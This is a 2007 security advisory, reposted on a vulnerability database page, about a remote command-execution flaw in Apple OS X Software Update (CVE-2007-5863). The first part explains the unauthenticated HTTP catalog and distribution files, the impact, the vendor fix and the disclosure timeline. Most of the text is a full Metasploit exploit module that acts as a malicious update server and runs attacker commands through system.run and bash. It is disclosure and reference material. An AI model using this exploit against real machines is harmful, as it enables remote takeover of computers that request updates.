Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18675
HistoryDec 18, 2007 - 12:00 a.m.

Apple OS X Software Update Remote Command Execution

2007-12-1800:00:00
vulners.com
3

Apple Mac OS X Software Update Remote Command Execution Vulnerability

Copyright (c) 2007 Moritz Jodeit <[email protected]> (2007/12/17)

I. Vulnerability Description

The OS X Software Update mechanism uses so called `distribution packages' [1],
which basically consist of two parts. The XML `catalog file', which lists the
available updates and the `distribution definition files' [1], which contain
information encoded in XML and JavaScript, defining every aspect of the
user experience, when installing an update.

When OS X checks for new updates, it first contacts swscan.apple.com
to receive the XML catalog file. This file references the distribution
definition files, which can reside on another server. Software Update
receives these files and calls some of the JavaScript functions to check,
if the update is suited for the local machine.

The catalog file and the distribution definition files are both received
using HTTP whithout any authentication. By running a malicious update server,
it is possible to provide distribution definition files, which execute
arbitrary commands using JavaScript on the remote machine requesting the
update. The System.run() method can be used for this, if the
`allow-external-scripts' option was set in the distribution definition
file, as documented in the "Installer JavaScript Reference" [2].

[1] http://developer.apple.com/documentation/DeveloperTools/Reference/DistributionDefinitionRef/
[2] http://developer.apple.com/documentation/DeveloperTools/Reference/InstallerJavaScriptRef/

II. Impact

Combined with the ability to intercept requests to the official Apple update
server by other means like ARP or DNS spoofing, it is possible to execute
arbitrary commands on all clients requesting updates. OS X automatically
checks for updates at regular intervals (default is weekly), which allows
for exploitation, even without any user intervention.

III. Solution

This vulnerability was fixed with the latest Apple update APPLE-SA-2007-12-17.

IV. Vendor Response

2007/12/06 Initial contact with <[email protected]>
2007/12/06 Acknowledgement of received report
2007/12/12 Agreement on public release date
2007/12/17 Coordinated release of updates and advisory

V. Proof Of Concept

$Id$

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

Framework web site for more information on licensing and terms of use.

http://metasploit.com/projects/Framework/

require 'msf/core'

module Msf

class Exploits::Osx::Browser::Software_Update < Msf::Exploit::Remote

    include Exploit::Remote::HttpServer::HTML

    def initialize&#40;info = {}&#41;
            super&#40;update_info&#40;info,
                    &#39;Name&#39;           =&gt; &#39;Apple OS X Software Update Command Execution&#39;,
                    &#39;Description&#39;    =&gt; &#37;q{
                            This module exploits a feature in the Distribution Packages,
                    which are used in the Apple Software Update mechanism. This feature
                    allows for arbitrary command execution through JavaScript. This exploit
                    provides the malicious update server. Requests must be redirected to
                    this server by other means for this exploit to work.
                    },
                    &#39;Author&#39;         =&gt; [ &#39;Moritz Jodeit &lt;[email protected]&gt;&#39; ],
                    &#39;License&#39;        =&gt; MSF_LICENSE,
                    &#39;Version&#39;        =&gt; &#39;$Revision$&#39;,
                    &#39;References&#39;     =&gt;
                            [
                                    [&#39;CVE&#39;, &#39;2007-5863&#39;],
                            ],
                    &#39;Payload&#39;        =&gt;
                            {
                                    &#39;BadChars&#39; =&gt; &quot;&#92;x00&quot;,
                                    &#39;DisableNops&#39; =&gt; true,
                            },
                    &#39;Platform&#39;      =&gt; &#39;osx&#39;,
                    &#39;Targets&#39;       =&gt;
                            [
                                    [
                                            &#39;Automatic&#39;,
                                            {
                                                    &#39;Platform&#39; =&gt; [ &#39;unix&#39; ],
                                                    &#39;Arch&#39;     =&gt; ARCH_CMD,
                                            },
                                     ],
                            ],
                    &#39;DisclosureDate&#39; =&gt; &#39;Dec 17 2007&#39;,
                    &#39;DefaultTarget&#39;  =&gt; 0&#41;&#41;

            register_options&#40;
                    [
                            OptPort.new&#40;&#39;SRVPORT&#39;, [ true, &quot;The local port to listen on.&quot;, 80 ]&#41;,
                            OptString.new&#40;&#39;URIPATH&#39;, [ true, &quot;The URI to use for this exploit.&quot;, &quot;/&quot; ]&#41;
                    ], self.class&#41;
    end

    # Encode some characters using character entity references and escape
    # any quotation characters, by splitting the string into multiple parts.
    def encode_payload&#40;payload&#41;
            encoded = payload.gsub&#40;/[&amp;&lt;&gt;&quot;&#39;]/&#41; do |s|
                    case s
                    when &#39;&amp;&#39;: &quot;&amp;amp;&quot;
                    when &#39;&lt;&#39;: &quot;&amp;lt;&quot;
                    when &#39;&gt;&#39;: &quot;&amp;gt;&quot;
                    when &#39;&quot;&#39;: &#39;&quot;+&#92;&#39;&quot;&#92;&#39;+&quot;&#39;
                    when &#39;&#92;&#39;&#39;: &quot;&amp;apos;&quot;
                    end
            end
            return &#39;&quot;&#39; + encoded + &#39;&quot;&#39;
    end

    # Generate the initial catalog file with references to the
    # distribution script, which does the actual exploitation.
    def generate_catalog&#40;server&#41;
            languages = [ &quot;&quot;, &quot;Dutsch&quot;, &quot;English&quot;, &quot;French&quot;, &quot;German&quot;, &quot;Italian&quot;, &quot;Japanese&quot;,
                          &quot;Spanish&quot;, &quot;da&quot;, &quot;fi&quot;, &quot;ko&quot;, &quot;no&quot;, &quot;pt&quot;, &quot;sv&quot;, &quot;zh_CN&quot;, &quot;zh_TW&quot; ]
            productkey = rand_text_numeric&#40;3&#41; + &quot;-&quot; + rand_text_numeric&#40;4&#41;
            distfile = rand_text_alpha&#40;8&#41; + &quot;.dist&quot;

            sucatalog = &#39;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#39;
            sucatalog &lt;&lt; &#39;&lt;!DOCTYPE plist PUBLIC &quot;-//Apple Computer//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;&#39;
            sucatalog &lt;&lt; &#39;&lt;plist version=&quot;1.0&quot;&gt;&#39;
            sucatalog &lt;&lt; &#39;&lt;dict&gt;&#39;
            sucatalog &lt;&lt; &#39;&lt;key&gt;Products&lt;/key&gt;&lt;dict&gt;&#39;
            sucatalog &lt;&lt; &quot;&lt;key&gt;#{productkey}&lt;/key&gt;&lt;dict&gt;&quot;
            sucatalog &lt;&lt; &#39;&lt;key&gt;Distributions&lt;/key&gt;&lt;dict&gt;&#39;

            languages.each do |l|
                    sucatalog &lt;&lt; &quot;&lt;key&gt;#{l}&lt;/key&gt;&lt;string&gt;http://#{server}/#{distfile}&lt;/string&gt;&#92;n&quot;
            end

            sucatalog &lt;&lt; &#39;&lt;/dict&gt;&lt;/dict&gt;&lt;/dict&gt;&lt;/dict&gt;&lt;/plist&gt;&#39;

            return sucatalog
    end

    # Generate distribution script, which calls our payload using JavaScript.
    def generate_dist&#40;payload&#41;
            func = rand_text_alpha&#40;8&#41;

            dist = &#39;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#39;
            dist &lt;&lt; &quot;&lt;installer-gui-script minSpecVersion=&#39;1&#39;&gt;&quot;
            dist &lt;&lt; &#39;&lt;options allow-external-scripts = &quot;yes&quot;/&gt;&#39;
            dist &lt;&lt; &quot;&lt;choices-outline ui=&#39;SoftwareUpdate&#39;&gt;&quot;
            dist &lt;&lt; &quot;&lt;line choice=&#39;su&#39;/&gt;&quot;
            dist &lt;&lt; &quot;&lt;/choices-outline&gt;&quot;
            dist &lt;&lt; &quot;&lt;choice id=&#39;su&#39; visible =&#39;#{func}&#40;&#41;&#39;/&gt;&quot;
            dist &lt;&lt; &quot;&lt;script&gt;&quot;
            dist &lt;&lt; &quot;function #{func}&#40;&#41; { system.run&#40;&#39;/bin/bash&#39;, &#39;-c&#39;, #{encode_payload&#40;payload&#41;}&#41;; }&quot;
            dist &lt;&lt; &quot;&lt;/script&gt;&quot;
            dist &lt;&lt; &quot;&lt;/installer-gui-script&gt;&quot;

            return dist
    end

    def on_request_uri&#40;cli, request&#41;
            date = Time.now
            server = &quot;swscan.apple.com&quot;

            header = {
                    &#39;Content-Type&#39; =&gt; &#39;text/plain&#39;,
                    &#39;Last-Modified&#39; =&gt; date,
                    &#39;Date&#39; =&gt; date,
            }

            if request.uri =~ /&#92;.sucatalog$/
                    print_status&#40;&quot;Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}&quot;&#41;
                    body = generate_catalog&#40;server&#41;
            elsif request.uri =~ /&#92;.dist$/
                    print_status&#40;&quot;Sending distribution script to #{cli.peerhost}:#{cli.peerport}&quot;&#41;
                    return if &#40;&#40;p = regenerate_payload&#40;cli&#41;&#41; == nil&#41;
                    body = generate_dist&#40;p.encoded&#41;
            else
                    return
            end
            send_response&#40;cli, body, header&#41;
            handler&#40;cli&#41;
    end

end
end